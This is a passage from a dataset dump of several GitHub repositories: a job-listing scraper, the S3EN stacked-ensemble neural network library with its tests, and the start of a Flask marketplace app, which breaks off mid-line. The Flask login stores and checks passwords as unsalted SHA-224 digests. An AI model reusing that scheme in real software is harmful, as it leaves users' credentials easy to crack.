repo_name
stringlengths
5
114
repo_url
stringlengths
24
133
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
directory_id
stringlengths
40
40
branch_name
stringclasses
209 values
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
9.83k
683M
star_events_count
int64
0
22.6k
fork_events_count
int64
0
4.15k
gha_license_id
stringclasses
17 values
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_language
stringclasses
115 values
files
listlengths
1
13.2k
num_files
int64
1
13.2k
otar/python-weworkremotely-bot
https://github.com/otar/python-weworkremotely-bot
29416804d49df17f21d00a50ec01fffedacf809d
0e7f358ec98e28232ae01185748f9f6b82605426
7c641e30867622779ed88508adc29caf7f57088e
refs/heads/master
2016-09-05T11:57:03.648167
2014-10-11T15:43:35
2014-10-11T15:43:35
24,771,553
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5115562677383423, "alphanum_fraction": 0.5292758345603943, "avg_line_length": 24.441177368164062, "blob_id": "cd86fec8f485bf4cbde353c20a6a44d1b710387d", "content_id": "c19175d005e4fc859b6fd45116d0e36abc9341b1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2596, "license_type": "permissive", "max_line_length": 90, "num_lines": 102, "path": "/bot.py", "repo_name": "otar/python-weworkremotely-bot", "src_encoding": "UTF-8", "text": "\nimport sys, datetime, requests\nfrom bs4 import BeautifulSoup\nfrom pymongo import MongoClient\n\n# Fetch website HTML and parse jobs data out of it\ndef fetch(keyword):\n\n SEARCH_URL = 'https://weworkremotely.com/jobs/search?term=%s'\n CSS_QUERY = '#category-2 > article > ul > li a'\n\n response = requests.get(SEARCH_URL % (keyword), timeout=10)\n\n if response.status_code != requests.codes.ok:\n return False\n\n html = BeautifulSoup(response.text)\n jobs = html.select(CSS_QUERY)\n\n # If there's only one item in the list, then it's just a category\n if len(jobs) <= 1:\n return False\n\n # We don't need the category...\n del jobs[-1]\n\n months = {\n 'Jan': '01',\n 'Feb': '02',\n 'Mar': '03',\n 'Apr': '04',\n 'May': '05',\n 'Jun': '06',\n 'Jul': '07',\n 'Aug': '08',\n 'Sep': '09',\n 'Oct': '10',\n 'Nov': '11',\n 'Dec': '12'\n };\n current_date = datetime.datetime.now()\n\n result = []\n\n for job in jobs:\n job_id = job['href'].strip('/').split('/')[1].strip()\n if not job_id:\n continue\n job_details = job.find_all('span')\n # We should have exactly 3 \"span\" tags\n if len(job_details) != 3:\n continue\n date_parts = ' '.join(job_details[2].string.split()).split(' ')\n # Ugly hack, I know... but works perfectly\n if len(date_parts[1]) == 1:\n date_parts[1] = str('0' + date_parts[1])\n result.append({\n 'job_id': job_id,\n 'title': job_details[1].string.strip(),\n 'company': job_details[0].string.strip(),\n 'date': '%s-%s-%s' % (current_date.year, months[date_parts[0]], date_parts[1])\n })\n\n return result\n\n# Insert jobs in the database\ndef insert(jobs):\n db = MongoClient()\n for job in jobs:\n db.we_work_remotely.jobs.update(\n {\n 'job_id': job['job_id']\n },\n {\n '$setOnInsert': job\n },\n True\n )\n\n\n# Helper function to terminate program execution gracefully\ndef exit_program(message='You shall not pass!'):\n print(message)\n sys.exit(0)\n\n# Handle search keyword argument\nSEARCH_TERM = 'php'\nif len(sys.argv) == 2:\n SEARCH_TERM = sys.argv[1].strip()\n\n# Main script controller\ndef main():\n try:\n jobs = fetch(SEARCH_TERM)\n if jobs == False:\n exit_program()\n insert(jobs)\n except:\n exit_program('Blame it on a boogie!..')\n\n# Gimme some lovin'\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5283018946647644, "alphanum_fraction": 0.7169811129570007, "avg_line_length": 16.66666603088379, "blob_id": "f7ba29bb4daf87e08abc99f96ec61aee25a35c93", "content_id": "8a143305550739641a9f0aab12b35a271fda2abd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 53, "license_type": "permissive", "max_line_length": 21, "num_lines": 3, "path": "/requirements.txt", "repo_name": "otar/python-weworkremotely-bot", "src_encoding": "UTF-8", "text": "requests==2.4.1\nbeautifulsoup4==4.3.2\npymongo==2.7.2\n" } ]
2
randlemcmurphy/repozytorium1
https://github.com/randlemcmurphy/repozytorium1
804831bd241820ce0e477c1bb6097ff05b9ee6a9
dd107b5ba764f234c37dd87102825aa5da376dd0
ade73b2738fbb101735b94e84a733d31c29d2b44
refs/heads/master
2022-12-19T08:14:00.029508
2020-09-19T13:05:26
2020-09-19T13:05:26
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6301369667053223, "alphanum_fraction": 0.6301369667053223, "avg_line_length": 17.5, "blob_id": "37f8f5a999dffc416ad2abd5eadf09150db769e1", "content_id": "c2c9fa921c5650b4f6c0cc489040aaf7a039e7dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 74, "license_type": "no_license", "max_line_length": 21, "num_lines": 4, "path": "/repo1.py", "repo_name": "randlemcmurphy/repozytorium1", "src_encoding": "UTF-8", "text": "print(\"podaj imię: \")\nimie = input()\nprint(\"podaj wiek: \")\nwiek = input()" } ]
1
Selraghc/S3EN
https://github.com/Selraghc/S3EN
6de9a00f2028869d8364854f00712001040c0b9a
cbf19746dfed77ec5f3baca4022f3c0fe186a985
db975e70960d2e1b6c480a8b4cb908f8cbd26814
refs/heads/main
2023-01-05T18:10:12.789564
2020-11-02T23:40:26
2020-11-02T23:40:26
308,668,191
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7733989953994751, "alphanum_fraction": 0.7832512259483337, "avg_line_length": 100.5, "blob_id": "87bf01d8650be82d885f4a85aaec30773c48a271", "content_id": "381b2844251a46d17eef20ac739fe22e1ad0e6fd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 203, "license_type": "permissive", "max_line_length": 195, "num_lines": 2, "path": "/README.md", "repo_name": "Selraghc/S3EN", "src_encoding": "UTF-8", "text": "# S3EN\nToy project to learn to build a library - I'm building a sklearn estimater wrapper over a tensorflow model, with a specific architecture we'll call 'Stacked End-to-End Ensemble Network', or S3EN.\n" }, { "alpha_fraction": 0.637410044670105, "alphanum_fraction": 0.6424460411071777, "avg_line_length": 35.605262756347656, "blob_id": "6c58cff3ec0ba0df6c60ba93c3d683d2d501e666", "content_id": "fcdd7b683a895de50ef394deaa7ee75548917b56", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1390, "license_type": "permissive", "max_line_length": 74, "num_lines": 38, "path": "/S3EN/helpers.py", "repo_name": "Selraghc/S3EN", "src_encoding": "UTF-8", "text": "import numpy as np\nimport tensorflow.keras.backend as K\nfrom tensorflow.keras.callbacks import Callback\nfrom sklearn.metrics import roc_auc_score, mean_squared_error\n\ndef duplicate(y, duplications):\n return np.repeat(y.reshape(-1, 1), duplications, axis=1).astype(float)\n\ndef reset_weights(model):\n session = K.get_session()\n for layer in model.layers:\n if hasattr(layer, 'kernel_initializer'):\n layer.kernel.initializer.run(session=session)\n if hasattr(layer, 'bias_initializer'):\n layer.bias.initializer.run(session=session)\n\nclass perf_callback(Callback):\n def __init__(self, data, target_type='classification'):\n self.X = data[0]\n self.y = data[1]\n self.target_type = target_type\n def on_epoch_end(self, epoch, logs={}):\n y_pred = self.model.predict(self.X)\n if self.target_type == 'classification':\n perf = roc_auc_score(self.y, y_pred, average='micro')\n elif self.target_type == 'regression':\n perf = mean_squared_error(self.y, y_pred)\n logs['validation'] = perf\n\ndef adjust_data(X, y, feature_list, target_replicas):\n X_adjusted = [X[col['feat_nm']].values.reshape(-1, 1) for col in\n feature_list]\n\n if y is not None:\n y_adjusted = duplicate(y, target_replicas)\n else:\n y_adjusted = None\n return X_adjusted, y_adjusted" }, { "alpha_fraction": 0.5126811861991882, "alphanum_fraction": 0.5489130616188049, "avg_line_length": 31.52941131591797, "blob_id": "02b0cd85d2d1aa8e709bb734e485c6d6214b56bb", "content_id": "0cbb4f071e030a4372578cf80bd102978cd82575", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 552, "license_type": "permissive", "max_line_length": 53, "num_lines": 17, "path": "/setup.py", "repo_name": "Selraghc/S3EN", "src_encoding": "UTF-8", "text": "from setuptools import find_packages, setup\nsetup(\n name=\"S3EN\",\n packages=find_packages(include=[\"S3EN.estimator\",\n \"S3EN.network\"]),\n version=\"0.1.0\",\n description=\"My first Python library\",\n author=\"Charles Ayotte-Trépanier\",\n license=\"MIT\",\n install_requires=[\"tensorflow==2.3.1\",\n \"scikit-learn==0.23.2\",\n \"pandas==1.1.3\"],\n setup_requires=[\"pytest-runner\"],\n tests_require=[\"pytest==6.1.2\"],\n test_suite=\"tests\",\n url=\"https://github.com/Selraghc/S3EN\"\n)" }, { "alpha_fraction": 0.4330817759037018, "alphanum_fraction": 0.43622642755508423, "avg_line_length": 41.287235260009766, "blob_id": "27139ea84e27f573df51471deb7c66050f3b63fa", "content_id": "0cce4a2b6fe0262c0c04f476ecaf4c6f02009cf3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7950, "license_type": "permissive", "max_line_length": 79, "num_lines": 188, "path": "/S3EN/estimator.py", "repo_name": "Selraghc/S3EN", "src_encoding": "UTF-8", "text": "from sklearn.base import BaseEstimator, ClassifierMixin, RegressorMixin\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow.keras.callbacks import EarlyStopping\nfrom S3EN.network import S3enNetwork\nfrom S3EN.helpers import perf_callback, adjust_data\n\ndef s3enEstimator(feature_list,\n target_type='classification',\n validation_ratio=0,\n patience=None,\n nb_models_per_stack=20,\n nb_variables_per_model=None,\n nb_stack_blocks=10,\n width=1,\n depth=1,\n epochs=100,\n batch_size=128,\n activation='elu',\n batch_norm='no',\n dropout_rate=0,\n sample_weight=None,\n nb_cores=None,\n enable_gpu='no',\n memory_growth='no'):\n\n if target_type == 'classification':\n parent_class = ClassifierMixin\n elif target_type == 'regression':\n parent_class = RegressorMixin\n\n class s3enEstimatorFlex(BaseEstimator, parent_class):\n \"\"\"An example of classifier\"\"\"\n\n def __init__(self,\n feature_list,\n target_type,\n validation_ratio,\n patience,\n nb_models_per_stack,\n nb_variables_per_model,\n nb_stack_blocks,\n width,\n depth,\n epochs,\n batch_size,\n activation,\n batch_norm,\n dropout_rate,\n sample_weight,\n nb_cores,\n enable_gpu,\n memory_growth):\n \"\"\"\n Called when initializing the classifier\n \"\"\"\n self.feature_list = feature_list\n self.target_type = target_type\n self.validation_ratio = validation_ratio\n self.patience = patience\n self.nb_models_per_stack = nb_models_per_stack\n self.nb_variables_per_model = nb_variables_per_model\n self.nb_stack_blocks = nb_stack_blocks\n self.width = width\n self.depth = depth\n self.epochs = epochs\n self.batch_size = batch_size\n self.activation = activation\n self.batch_norm = batch_norm\n self.dropout_rate = dropout_rate\n self.sample_weight = sample_weight\n self.nb_cores = nb_cores\n self.enable_gpu = enable_gpu\n self.memory_growth = memory_growth\n self.model = None\n self.target_replicas = None\n\n def fit(self, X, y):\n \"\"\"\n This should fit classifier. All the \"work\" should be done here.\n\n Note: assert is not a good choice here and you should rather\n use try/except blog with exceptions. This is just for short syntax.\n \"\"\"\n if self.target_type == 'classification':\n mode = 'max'\n elif self.target_type == 'regression':\n mode = 'min'\n\n nn = S3enNetwork(feature_list=self.feature_list,\n target_type=self.target_type,\n nb_cores=self.nb_cores,\n enable_gpu=self.enable_gpu,\n memory_growth=self.memory_growth,\n nb_models_per_stack=self.nb_models_per_stack,\n nb_variables_per_model=\n self.nb_variables_per_model,\n nb_stack_blocks=self.nb_stack_blocks,\n width=self.width,\n depth=self.depth,\n activation=self.activation,\n batch_norm=self.batch_norm,\n dropout_rate=self.dropout_rate)\n self.model, self.target_replicas = nn.get_model()\n\n if self.validation_ratio > 0:\n X_train, X_val, y_train, y_val = \\\n train_test_split(X,\n y,\n test_size=self.validation_ratio)\n X_train_adj, y_train_adj = adjust_data(X_train,\n y_train,\n self.feature_list,\n self.target_replicas)\n X_val_adj, y_val_adj = adjust_data(X_val,\n y_val,\n self.feature_list,\n self.target_replicas)\n\n early_stop = EarlyStopping(patience=self.patience,\n monitor='validation',\n mode=mode)\n\n callbacks = [\n perf_callback((X_val_adj, y_val_adj), target_type),\n early_stop]\n else:\n callbacks = None\n X_train_adj, y_train_adj = adjust_data(X,\n y,\n self.feature_list,\n self.target_replicas)\n\n self.model.fit(X_train_adj,\n y_train_adj,\n epochs=self.epochs,\n batch_size=self.batch_size,\n sample_weight=self.sample_weight,\n callbacks=callbacks)\n self._fitted = True\n\n return self\n\n def predict_wrapper(self, X, y=None):\n if self._fitted is not True:\n raise RuntimeError(\n \"You must train model before predicting data!\")\n\n X_adjusted, _ = adjust_data(X,\n y,\n self.feature_list,\n self.target_replicas)\n return self.model.predict(X_adjusted)[:, 0]\n\n def predict_proba(self, X, y=None):\n if self._fitted is not True:\n raise RuntimeError(\n \"You must train model before predicting data!\")\n\n return self.predict_wrapper(X, y)\n\n def predict(self, X, y=None):\n if self._fitted is not True:\n raise RuntimeError(\n \"You must train model before predicting data!\")\n\n if self.target_type == 'classification':\n return (self.predict_wrapper(X, y) > 0.5).astype(int)\n elif self.target_type == 'regression':\n return self.predict_wrapper(X, y)\n\n return s3enEstimatorFlex(feature_list=feature_list,\n target_type=target_type,\n validation_ratio=validation_ratio,\n patience=patience,\n nb_models_per_stack=nb_models_per_stack,\n nb_variables_per_model=nb_variables_per_model,\n nb_stack_blocks=nb_stack_blocks,\n width=width,\n depth=depth,\n epochs=epochs,\n batch_size=batch_size,\n activation=activation,\n batch_norm=batch_norm,\n dropout_rate=dropout_rate,\n sample_weight=sample_weight,\n nb_cores=nb_cores,\n enable_gpu=enable_gpu,\n memory_growth=memory_growth)\n" }, { "alpha_fraction": 0.4776601195335388, "alphanum_fraction": 0.4815935492515564, "avg_line_length": 39.141700744628906, "blob_id": "b2e12fe2c4316fe8a9c8ef78fe44a490dabb6779", "content_id": "706eff67037d951343078e1a6219e0e876fd4d6f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9915, "license_type": "permissive", "max_line_length": 79, "num_lines": 247, "path": "/S3EN/network.py", "repo_name": "Selraghc/S3EN", "src_encoding": "UTF-8", "text": "import random\nimport re\nimport os\nfrom math import ceil\nimport numpy as np\nfrom tensorflow.keras.layers import Dense,Input, Embedding, concatenate,\\\n Flatten, Average, Dropout, BatchNormalization, Activation\nfrom tensorflow.keras import Sequential, Model\nfrom tensorflow import config, distribute\n\n\nclass S3enNetwork:\n def __init__(self,\n feature_list,\n target_type,\n nb_cores=None,\n enable_gpu='no',\n memory_growth='no',\n nb_models_per_stack=20,\n nb_variables_per_model=None,\n nb_stack_blocks=10,\n width=1,\n depth=1,\n activation='elu',\n batch_norm='no',\n dropout_rate=0):\n\n self.feature_list = feature_list\n self.target_type = target_type\n self.nb_cores = nb_cores\n self.enable_gpu = enable_gpu\n self.memory_growth = memory_growth\n self.nb_models_per_stack = nb_models_per_stack\n self.nb_variables_per_model = nb_variables_per_model\n self.nb_stack_blocks = nb_stack_blocks\n self.width = width\n self.depth = depth\n self.activation = activation\n self.batch_norm = batch_norm\n self.dropout_rate = dropout_rate\n\n if self.nb_variables_per_model is None:\n self.nb_variables_per_model = \\\n max(int(np.sqrt(len(self.feature_list)-1)), 2)\n\n if self.target_type == 'classification':\n self.loss = 'binary_crossentropy'\n self.metrics = ['binary_accuracy']\n elif self.target_type == 'regression':\n self.loss = 'mse'\n self.metrics = ['mae', 'mse']\n\n def __build_layers(self,\n input_dim,\n output_dim):\n layers_dim = []\n if self.depth > 0:\n nb_layers = int(np.round(np.log(input_dim) * self.depth))\n if nb_layers == 0:\n nb_layers += 1\n if self.depth > 0:\n layer_dim = max(int(float(self.width) * input_dim), output_dim)\n factor = np.power(float(output_dim) / layer_dim, 1 / nb_layers)\n layers_dim.append(input_dim)\n while layer_dim > output_dim:\n layers_dim.append(layer_dim)\n new_layer_dim = int(np.round(layer_dim * factor))\n if layer_dim == new_layer_dim:\n new_layer_dim -= 1\n layer_dim = max(new_layer_dim, output_dim)\n while len(layers_dim) < nb_layers:\n new_layer_dim = int(np.round(layer_dim * factor))\n if layer_dim == new_layer_dim:\n new_layer_dim -= 1\n layer_dim = max(new_layer_dim, output_dim)\n layers_dim.append(layer_dim)\n while len(layers_dim) > nb_layers:\n layers_dim = layers_dim[:-1]\n layers_dim.append(output_dim)\n if self.dropout_rate > 0:\n layers_dim = layers_dim[:1] + \\\n [ceil(layer / (1 - self.dropout_rate))\n for layer in layers_dim[1:]]\n layers_dim[-1] = output_dim\n return layers_dim\n\n def __dense_layers(self,\n model,\n dims):\n nb_layers = len(dims)\n for i in range(nb_layers - 1):\n if i < nb_layers - 2:\n act = self.activation\n if self.batch_norm == 'yes':\n model = \\\n Dense(dims[i + 1],\n input_shape=(dims[i],),\n activation=None)(model)\n model = BatchNormalization()(model)\n model = Activation(act)(model)\n else:\n model = \\\n Dense(dims[i + 1],\n input_shape=(dims[i],),\n activation=act)(model)\n if self.dropout_rate > 0:\n model = \\\n Dropout(rate=self.dropout_rate,\n input_shape=(dims[i + 1],)\n )(model)\n else:\n if self.target_type == 'classification':\n act = 'sigmoid'\n elif self.target_type == 'regression':\n act = 'linear'\n model = Dense(dims[i + 1], \\\n input_shape=(dims[i],), \\\n activation=act)(model)\n return model\n\n def __get_random_features(self,\n inputs,\n initial_layers):\n\n total_features = len(self.feature_list)\n feature_inx = list(range(total_features))\n\n # get features:\n cur_indexes = random.sample(feature_inx,\n k=self.nb_variables_per_model)\n input_list = []\n layers = []\n for index in cur_indexes:\n input_list.append(inputs[index])\n layers.append(initial_layers[index])\n out_dim = sum([initial_layer['outdim'] for initial_layer in layers])\n return {'tensors': input_list, 'out_dim': out_dim}\n\n def __create_stacking_block(self,\n input_lists):\n outputs = []\n for input_list in input_lists:\n tensors = input_list['tensors']\n out_dim = input_list['out_dim']\n outputs.append(\n self.__create_subnetwork(tensors, out_dim)['out'])\n layer_dims = self.__build_layers(len(input_lists), 1)\n prediction = self.__dense_layers(concatenate(outputs), layer_dims)\n stacking_loss = [prediction] + outputs\n return {'final_pred': prediction,\n 'loss_output': concatenate(stacking_loss),\n 'output_shape': len(stacking_loss)}\n\n def __create_initial_layers(self):\n in_out_list = []\n for feature in self.feature_list:\n feat_dict = {}\n feat_nm = feature['feat_nm']\n feat_dict['feat_nm'] = feat_nm\n feat_type = feature['type']\n if feat_type == 'numerical':\n input_layer = Input(shape=1)\n feat_dict['in'] = input_layer\n feat_dict['out'] = input_layer\n feat_dict['outdim'] = 1\n elif feat_type == 'categorical':\n input_dim = feature['input_dim']\n output_dim = feature['output_dim']\n f_model = Sequential()\n feat_embedding = Embedding(input_dim, output_dim,\n input_length=1)\n f_model.add(feat_embedding)\n f_model.add(Flatten(name=f'embeddings-{feat_nm}'))\n feat_dict['in'] = f_model.input\n feat_dict['out'] = f_model.output\n feat_dict['outdim'] = output_dim\n in_out_list.append(feat_dict)\n return in_out_list\n\n def __create_subnetwork(self,\n tensors,\n out_dim):\n layer_dims = self.__build_layers(out_dim, 1)\n prediction = self.__dense_layers(concatenate(tensors),\n layer_dims)\n return {'in': tensors, 'out': prediction}\n\n def __get_strategy(self):\n if self.enable_gpu == \"yes\":\n prefix = 'GPU'\n else:\n prefix = 'CPU'\n\n cores = config.experimental.list_physical_devices(prefix)\n if len(cores) == 0 and self.enable_gpu == \"yes\":\n cores = config.experimental.list_physical_devices('XLA_GPU')\n if self.memory_growth == \"yes\" and len(cores) > 0 \\\n and self.enable_gpu == \"yes\":\n for core in cores:\n config.experimental.set_memory_growth(core, True)\n try:\n cores = [i.name for i in cores]\n if self.nb_cores is not None:\n cores = cores[:self.nb_cores]\n cores = [re.search(f\"{prefix}:\\d$\", i).group() for i in cores]\n except:\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"-1\"\n cores = []\n\n strategy = \\\n distribute.MirroredStrategy(devices=cores,\n cross_device_ops=\n distribute.HierarchicalCopyAllReduce())\n\n return strategy.scope()\n\n def get_model(self):\n\n with self.__get_strategy():\n initial_layers = self.__create_initial_layers()\n inputs = [initial_layer['in'] for initial_layer in initial_layers]\n stacking_blocks_output = []\n for i in range(self.nb_stack_blocks):\n input_lists = []\n for j in range(self.nb_models_per_stack):\n inputs_subset = self.__get_random_features(inputs,\n initial_layers)\n input_lists.append(inputs_subset)\n stacking_output = self.__create_stacking_block(input_lists)\n stacking_blocks_output.append(stacking_output)\n\n final = Average()(\n [stacked['final_pred'] for stacked in stacking_blocks_output])\n\n targets = concatenate([final] +\n [stacked['loss_output']\n for stacked in stacking_blocks_output])\n\n output_dim = 1 + sum([stacked['output_shape']\n for stacked in stacking_blocks_output])\n\n model = Model(inputs, targets)\n model.compile(optimizer='adam',\n loss=self.loss,\n metrics=self.metrics)\n\n return model, output_dim\n" }, { "alpha_fraction": 0.4138907492160797, "alphanum_fraction": 0.43520987033843994, "avg_line_length": 37.248409271240234, "blob_id": "b9e39f4f53956f911a0f428c04d5297ec65b6b14", "content_id": "51b73c1b3dc788483af1f4d4607afa6f9c11a876", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6004, "license_type": "permissive", "max_line_length": 77, "num_lines": 157, "path": "/tests/test_estimator.py", "repo_name": "Selraghc/S3EN", "src_encoding": "UTF-8", "text": "from S3EN.estimator import s3enEstimator\nimport numpy as np\nfrom sklearn.preprocessing import LabelEncoder\nimport pandas as pd\n\ndf = pd.read_csv('train.csv')\ngood_feats_df = df[['Fare',\n 'SibSp',\n 'Cabin',\n 'Pclass',\n 'Sex',\n 'Parch',\n 'Embarked',\n 'Age']]\n\nfeature_list = []\ndata_types = good_feats_df.dtypes\nle = LabelEncoder()\nfor i, column in enumerate(data_types.index):\n feature_dict = {}\n feature_dict['feat_nm'] = column\n if data_types[i] == 'object':\n feature_dict['type'] = 'categorical'\n input_dim = good_feats_df[column].nunique()\n output_dim = max(int(np.sqrt(input_dim-1)), 1)\n feature_dict['input_dim'] = input_dim\n feature_dict['output_dim'] = output_dim\n good_feats_df[column] = good_feats_df[column].fillna('NaN')\n good_feats_df[column] = le.fit_transform(good_feats_df[column])\n else:\n good_feats_df[column] = good_feats_df[column].fillna(0).astype(float)\n feature_dict['type'] = 'numerical'\n feature_list.append(feature_dict)\n\nX = good_feats_df\ny = df['Survived'].values\n\ndef test_shape():\n model = s3enEstimator(feature_list=feature_list,\n target_type='classification',\n validation_ratio=0,\n patience=3,\n nb_models_per_stack=2,\n nb_variables_per_model=2,\n nb_stack_blocks=2,\n width=1,\n depth=1,\n epochs=1\n )\n model.fit(X, y)\n predictions = model.predict(X)\n assert len(y) == len(predictions)\n\ndef test_classifier_accuracy():\n model = s3enEstimator(feature_list=feature_list,\n target_type='classification',\n validation_ratio=0,\n patience=None,\n nb_models_per_stack=10,\n nb_variables_per_model=4,\n nb_stack_blocks=20,\n width=1,\n depth=1,\n epochs=300,\n batch_norm='no',\n dropout_rate=0\n )\n model.fit(X, y)\n assert np.mean((model.predict(X) > 0.5).astype(float) == y) >= 0.75\n\ndef test_classifier_accuracy_patience():\n model = s3enEstimator(feature_list=feature_list,\n target_type='classification',\n validation_ratio=0.1,\n patience=5,\n nb_models_per_stack=10,\n nb_variables_per_model=4,\n nb_stack_blocks=20,\n width=1,\n depth=1,\n epochs=1000,\n batch_norm='no',\n dropout_rate=0\n )\n model.fit(X, y)\n assert np.mean((model.predict(X) > 0.5).astype(float) == y) >= 0.75\n\ndef test_classifier_accuracy_dropout_batchnorm():\n model = s3enEstimator(feature_list=feature_list,\n target_type='classification',\n validation_ratio=0.2,\n patience=5,\n nb_models_per_stack=10,\n nb_variables_per_model=4,\n nb_stack_blocks=20,\n width=3,\n depth=1,\n epochs=2000,\n batch_norm='yes',\n dropout_rate=0.1\n )\n model.fit(X, y)\n assert np.mean((model.predict(X) > 0.5).astype(float) == y) >= 0.75\n\ndef test_classifier_accuracy_using_regression():\n model = s3enEstimator(feature_list,\n target_type='regression',\n validation_ratio=0,\n patience=3,\n nb_models_per_stack=10,\n nb_variables_per_model=4,\n nb_stack_blocks=20,\n width=1,\n depth=1,\n epochs=1000,\n batch_norm='no',\n dropout_rate=0\n )\n model.fit(X, y)\n assert np.mean((model.predict(X) > 0.5).astype(float) == y) >= 0.75\n\ndef test_classifier_accuracy_using_regression_batchnorm_dropout():\n model = s3enEstimator(feature_list,\n target_type='regression',\n validation_ratio=0,\n patience=3,\n nb_models_per_stack=10,\n nb_variables_per_model=5,\n nb_stack_blocks=20,\n width=2,\n depth=1,\n epochs=2000,\n batch_norm='yes',\n dropout_rate=0.2\n )\n model.fit(X, y)\n assert np.mean((model.predict(X) > 0.5).astype(float) == y) >= 0.75\n\ndef test_random_gridSearch_classifier():\n from sklearn.model_selection import RandomizedSearchCV\n grid = {\n 'width': [2, 1]\n }\n model = s3enEstimator(feature_list,\n target_type='classification',\n validation_ratio=0,\n patience=None,\n nb_models_per_stack=2,\n nb_variables_per_model=2,\n nb_stack_blocks=2,\n width=1,\n depth=1,\n epochs=1\n )\n rgs = RandomizedSearchCV(model, grid, n_iter=2, random_state=0)\n rgs.fit(X, y)\n assert True #no error returned" } ]
6
jlstack/Online-Marketplace
https://github.com/jlstack/Online-Marketplace
978974b3604f54b5c2b31410e35f5fd6d20c4938
3ca4c999ab8bacabdf7fa4e93f4c2fde697713fa
508fce2c8445dc4d2492d13afa18cc4262f4b003
refs/heads/master
2021-08-29T10:27:20.608587
2017-12-13T17:43:16
2017-12-13T17:43:16
103,315,235
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6309983730316162, "alphanum_fraction": 0.6442360877990723, "avg_line_length": 39.28888702392578, "blob_id": "676e5cdbdc989a7c1cdcea3868bb1b1c74001801", "content_id": "fba98ee3dd330da24b12d2358960652f86f6d473", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1813, "license_type": "no_license", "max_line_length": 149, "num_lines": 45, "path": "/application/models.py", "repo_name": "jlstack/Online-Marketplace", "src_encoding": "UTF-8", "text": "from application import db\n\nclass Product(db.Model):\n id = db.Column('id', db.Integer, primary_key=True)\n name = db.Column('name', db.String(128), nullable=False)\n description = db.Column('description', db.TEXT, nullable=False)\n image_path = db.Column('image_path', db.String(128), nullable=True)\n quantity = db.Column('quantity', db.Integer, default=1)\n price = db.Column('price', db.FLOAT, default=0.0)\n \n def __init__(self, name, description, image_path='', quantity=1, price=0.0):\n self.name = name\n self.description = description\n self.image_path = image_path\n self.quantity = quantity\n self.price = price\n\n def __repr__(self):\n return str({'name':self.name, 'description':self.description, 'image_path': self.image_path, 'quantity': self.quantity, 'price': self.price})\n\nclass User(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String(128), index=True, unique=True)\n password = db.Column(db.String(256), nullable=False)\n\n def __init__(self, username, password):\n self.username = username\n self.password = password\n\n def __repr__(self):\n return '<User %r>' % (self.username)\n\nclass Image(db.Model):\n id = db.Column('id', db.Integer, primary_key=True)\n name = db.Column('name', db.String(128), nullable=False)\n image_path = db.Column('image_path', db.String(128), nullable=False) \n display_number = db.Column('display_number', db.Integer, nullable=False)\n\n def __init__(self, name, image_path, display_number):\n self.name = name\n self.image_path = image_path\n self.display_number = display_number\n\n def __repr__(self):\n return str({'name': self.name, 'image_path': self.image_path, 'display_number': self.display_number})\n" }, { "alpha_fraction": 0.6083495020866394, "alphanum_fraction": 0.6148052215576172, "avg_line_length": 30.612245559692383, "blob_id": "d0a1bd947d9f306863ebf048a4e0983b557fd7ed", "content_id": "ad0118c249fa766f88e0d85f7a74eb16453e931f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4647, "license_type": "no_license", "max_line_length": 102, "num_lines": 147, "path": "/application.py", "repo_name": "jlstack/Online-Marketplace", "src_encoding": "UTF-8", "text": "from flask import Flask, Response, session, flash, request, redirect, render_template, g\nimport sys\nimport os\nimport base64\nfrom flask_login import LoginManager, UserMixin, current_user, login_required, login_user, logout_user\nimport hashlib\nfrom flask_openid import OpenID\n\nerrors = []\n\ntry:\n from application import db\n from application.models import Product, User, Image\n import yaml\n\n with open(\"db.yml\") as db_file:\n db_entries = yaml.safe_load(db_file)\n\n db.create_all()\n for user in db_entries[\"users\"]:\n usr = User(user[\"username\"], user[\"password_hash\"])\n db.session.add(usr)\n db.session.commit()\n for project in db_entries[\"projects\"]:\n\tproj = Product(project[\"name\"], project[\"description\"], project[\"default_image\"], 1, 0)\n db.session.add(proj)\n db.session.commit()\n for i in range(0, len(project[\"images\"])):\n img = Image(project['name'], project[\"images\"][i], i)\n db.session.add(img)\n db.session.commit()\n db.session.close()\nexcept Exception as err:\n errors.append(err.message)\n\n# EB looks for an 'application' callable by default.\napplication = Flask(__name__)\n\n# config\napplication.config.update(\n DEBUG = True,\n SECRET_KEY = os.urandom(24)\n)\n\n@application.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n if str(request.method) == 'GET':\n if not session.get('logged_in'):\n return render_template('login.html')\n else:\n redirect(\"/\")\n username = request.form['username']\n password = request.form['password']\n password = hashlib.sha224(password.encode('utf-8')).hexdigest()\n user = User.query.filter_by(username=username, password=password).first()\n if user is not None:\n session['logged_in'] = True\n return redirect(\"/\")\n return redirect(\"/login\")\n\n@application.route(\"/logout\")\ndef logout():\n session['logged_in'] = False\n return redirect('/')\n\n@application.route('/')\ndef index():\n return render_template('home.html')\n\n@application.route('/gallery')\ndef gallery():\n products = 